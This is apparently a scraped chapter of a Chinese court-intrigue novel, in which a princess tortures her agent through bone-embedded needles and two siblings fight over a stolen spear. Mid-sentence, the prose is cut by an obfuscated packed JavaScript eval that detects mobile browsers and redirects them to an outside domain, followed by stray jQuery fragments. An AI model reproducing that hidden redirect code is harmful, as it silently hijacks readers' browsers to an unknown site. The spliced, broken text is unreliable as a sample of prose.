42.众里寻他

作品:《煊朝第一男剑仙(剑断前尘)

    几日前。


    宥丰王别院,停金鸾阁。


    侍从撩开暗红帷幕一角,帷幕坠着的红玉珠串相互碰撞,发出清脆响动。阁内香云缭绕,细白的烟盘旋而上,弥散在阁顶,烟云中有一张由美玉雕成的卧榻,那玉石色泽温润,其上有殷红沁入,恰似白玉染血。这是产自琦国的玉,名为心尖血,运送到煊国境内须得横跨三国,翻越万重大山,千金难求。


    帝都城中的世家贵族顶多就是用这玉石打成镯子佩戴,一双心尖血雕的龙凤镯便能作名门彩礼的头面了。


    停金鸾阁内,此等美玉不过是被整块打成一张卧榻,供亲王殿下小憩罢了。


    “殿下,卿玦求见。”侍从温声禀报。


    卧榻上的人闻言并未有所动作,仅是伸出一根食指在空中打了个圈。


    暗红帷幕落下,侍从会意地退出去。


    整整一夜的策马狂奔,卿玦白衣上沾了晨露,她眨了眨眼,水珠从眼睫上坠落。


    侍从回话道:“殿下不见你。”


    “烦请转告殿下,”卿玦非但不恼,反而笑意盈盈,“我把祓邪枪丢了。”


    这回侍从走得很急,不多时便出来传唤道:“进去吧。”


    卿玦并不着急,向传话的侍从作了一揖,这才踏进去。两侧侍从依次为她除去外衣和鞋履,摘了发冠,卿玦赤脚披发,接过一名侍从递过来的暗红长袍。整个停金鸾阁,没有一个侍从不是穿着这色外袍,没有一处绸缎不是这颜色。


    更衣便如此简洁,卿玦系好宽松的衣带,穿上白色长袜,继续向里面走去。


    依旧是两列侍从。他们每个人都提着一盏香炉,烟雾弥漫,卿玦不疾不徐地穿行在其中,身体逐渐熏染成空气里的香味。


    一丈高的帷幕被掀起一角,卿玦走了进去。她几乎是在踏入帷幕的一瞬间就双膝跪地了,俯首道:“参见殿下。”


    “卿玦,”卧榻上的那位终于睁了眼,虽年事已高,眼里却丝毫没有岁月侵蚀留下的痕迹,“你是个坏孩子。”


    卿玦没有直起上身,回道:“殿下,紫金锁有异心。”


    “哦,他这异心体现在何处?”


    阁内却陷入一阵沉默。卿玦维持着俯首的姿势,没有开口说话。


    她能听到阁内成百上千的呼吸声。训练有素,均匀排布,无处不在。


    宥丰王没有等到回答,勾了勾唇角,随着她的坐起,暗中蓄满的弓弦从卿玦头上移开。她饶有兴致地端详着眼前这个俯首帖耳的人,说道:“你还是和以前一样机灵。可是你做错了事,必须要罚你。”


    “卿玦认罚。”


    随手拿过放在案上的一支哨子,宥丰王漫不经心地用两指捏着它,在案上敲击起来。


    笃、笃、笃。


    地上俯首的人忽然发生了变化。卿玦的身体猛地向上绷起,就连修长的脖颈也不受控制地绷成一道直线,她脱力地翻倒在地毯上,好似有人一霎时抽走了她所有的筋骨。


    手上动作依旧,宥丰王冷漠地俯视着她,仿佛手里捏的不是哨子,而是卿玦的性命。


    漫长的痉挛震颤中,卿玦咬住下唇,却又想到什么,立即松口,就连双手也不再紧握成拳。


    “坏孩子,做错了事接受惩罚,却不想被人发现么。”


    好痛,浑身的骨头都像被活生生挖出来,整个人只剩下一张裹着血肉的皮,没有支撑点,没有任何东西能阻止这场折磨。又好像身体里有千万只虫在啃噬她,将她啃成一副空壳,徒留一个清醒的脑袋。


    她无意识地抱住膝盖蜷缩起来。


    宥丰王对这一举动很是新奇,她问道:“这样只会更痛的,傻孩子。你难道……是在想着谁吗?你很久没有惹怒我了,上一次惩罚你还是在几月前。”


    “这几个月里发生了什么?有谁住进了你心里?”她越问越投入,“还是说,你……得到了一个难忘的拥抱?”


    泛着潮湿水汽的夜里,十指相扣的拥抱。


    “真是有趣,你这样一个古怪的孩子,竟然也能感受到关怀和爱意吗?”


    “他是谁?为什么不带给我见一见呢,我一定为你准备全帝都最繁盛的彩礼。”


    “难道他不喜欢你么?”宥丰王说到这里,咯咯的笑起来,“情欲是吃人的魔鬼,你得不到就抓心挠肝,你得到了便万劫不复,把一颗心血淋淋地剜出来捧给别人,永远也逃不出尸骨无存的命运!哈哈哈哈……”


    她忽地收了笑声,道:“真想快一点知道那是怎样的人啊,我等你主动把他带回来见我。”


    卿玦盯着天花板,抱着双膝的手慢慢松开。眼前浮现出那人暗沉如水的眸子,受惊时小鹿般灵动,让人不禁遐想,若是将他欺负得狠了,那双眸子会是怎样的情态;相扣的手指修长得脆弱,不敢稍稍用力,怕将那水葱般的指节捏红了;尤其是那节过分白皙的脖颈,突起的一点有着无与伦比的吸引力,还有柔软的唇瓣,看起来并不饱满,也不嫣红,可就是莫名想凑上去……


    可是这样一个人,原本应该被揉进心窝里好好地揣着,她反而三番五次地训斥疏离,甚至任由他受伤。


    他以为是她救了他,不曾想,他其实是被地府里往上爬的恶鬼抓住了,稍有不慎,就会被连带着一起堕入十八层地狱,永生不得安宁。


    她刚得到了这个渴望已久的拥抱,转瞬间却要逼迫自己忘记当时的感受。


    卿玦眼里一片雾霭,嘴角却诡异地上扬着。她好不甘心啊。


    不知何时,敲击声停了。


    “你还好么?”宥丰王屈尊走到仰面躺倒的卿玦身边,她蹲下来,挑开暗红色外袍,再解了卿玦的里衣,露出大片肌肤来。


    卿玦的每一根肋骨都镶嵌着极粗的铁针。不止是肋骨,脊骨、肱骨和腿骨也都布满了粗针。这些粗针中部有独特的空腔,只要那支哨子震动,即使相隔万里,这些粗针也会随之震动起来。并且这些粗针也阻碍了她周身内力的运转,将她的功力压制在原来的五成。


    这是专门用来规训她的刑具。


    “很乖呢,这么多年,一根针也没有偷偷拔掉。”宥丰王笑起来,状似亲昵地为她拢好衣服,转身回到榻上。


    “殿下,紫金锁的义子和义女原本被我控制,但他们偷了祓邪枪逃走了。”


    “丢失的幼猫捕了条大鱼回去,那只老猫会如何?”


    卿玦回道:“会杀了幼猫。”


    宥丰王眼眸流转,笑意更深,“说起来,这紫金锁说要杀了名单上的人做投名状,迄今为止,连第一个都没除掉呢。”


    “他没有这个本事。”


    “是么?可是霜流告诉我,是你在救弈云林


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345719|149032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊。”


    卿玦泰然自若道:“殿下,杀人是他的事,我只是为了考验他的实力,略加阻挠罢了。”


    “试出什么来了?”


    “成为殿下的鹰犬,他紫金锁还不够格。”


    卿玦话音未落,宥丰王便一掌重重拍在案上,怒道:“我看他不是不够格,而是不想、不敢!”


    杀弈云林,意味着得罪崇阿将军,永远放弃天女这条线。


    卿玦继续说道:“另外,殿前左右副指挥使均在炘水附近休沐,圣上传旨令他们处理后事。霜流无法带走弈云林。”


    “我的小侄女真是煞费苦心,可是兵权不是玩具,她不能碰。”宥丰王抬手欣赏着自己描红的指甲。


    阁内再次沉寂下来。


    卿玦依旧跪着,静静地望着那身居高位的女人。


    良久,宥丰王下令道:“传令紫金锁,十日之内提弈云林人头来见。”


    ……


    城郊古亭里,棠溪然和殷鹭飖相对而坐,中央的石桌上赫然是那黑色长匣。


    “这到底是什么东西?”他忍耐不住地屈起食指敲了敲长匣。


    殷鹭飖嗤笑道:“没见识的东西,这是祓邪枪,南泠鬼神教的秘宝。”


    “你懂得多,你倒是说说看?”


    见这个平日里龇牙咧嘴的人求问她,殷鹭飖心中很是受用,“没见过祓邪枪,那‘少年枪仙百战折兰台’的话本总听说过吧?”


    “嗯,知道。”


    “这就是那个叫灵澈的少年枪仙手里那把漆黑长枪。”


    棠溪然拍桌而起:“什么?!”


    “瞧你那大惊小怪的样子。”


    殷鹭飖鄙夷地摇头。


    远处忽然有马声嘶叫,夜色里有人骑马而来,衣摆伴着疾风猎猎作响。


    “古乘!”殷鹭飖叫道。


    古乘是紫金锁的亲信,今夜便是他代替紫金锁出面。他直截了当地问:“你们偷出来了什么?”


    “喏,祓邪枪。”殷鹭飖兴高采烈地说,“我只是假意屈服,没想到那卿玦如此轻信于我,竟然把这个东西交给我用来博得义父的信任。我生是义父的人,死是义父的鬼,一剂毒药而已,还威胁不了我!”


    棠溪然面色大变,一双眼死死盯住她,终究还是没说什么。


    古乘背上长匣,以一个长辈的态度拍了拍殷鹭飖的肩膀,道:“能带回这东西,主人一定会好好奖赏你的。”


    “我不敢要什么奖赏,只想向义父证明我的忠心。”殷鹭飖喜出望外。


    古乘饱含深意地看了她一眼,只是点头。


    弦月弯刀忽然从身后袭来,直取殷鹭飖脖颈。棠溪然依照卿玦所言出手直取她性命,根本不给她反应的时机。殷鹭飖俯下身躲过,双刀出鞘,转身向他攻来。二人交手得极快,就连古乘也吃了一惊,道:“你们在做什么?”


    “古乘,他叛变了,他现在是卿玦的人!”


    古乘斜睨她一眼,并不回应。


    棠溪然狠狠一脚同她对踢,道:“她才是叛徒,这枪是我好不容易偷出来的,她却忽然出现说要同我一起送来!现在又拿此物领赏,真是不要脸!”


    古乘也不置可否。


    二人见古乘并不打算帮谁,看向对方的眼神骤然变了——今夜,能活下来的只有一个!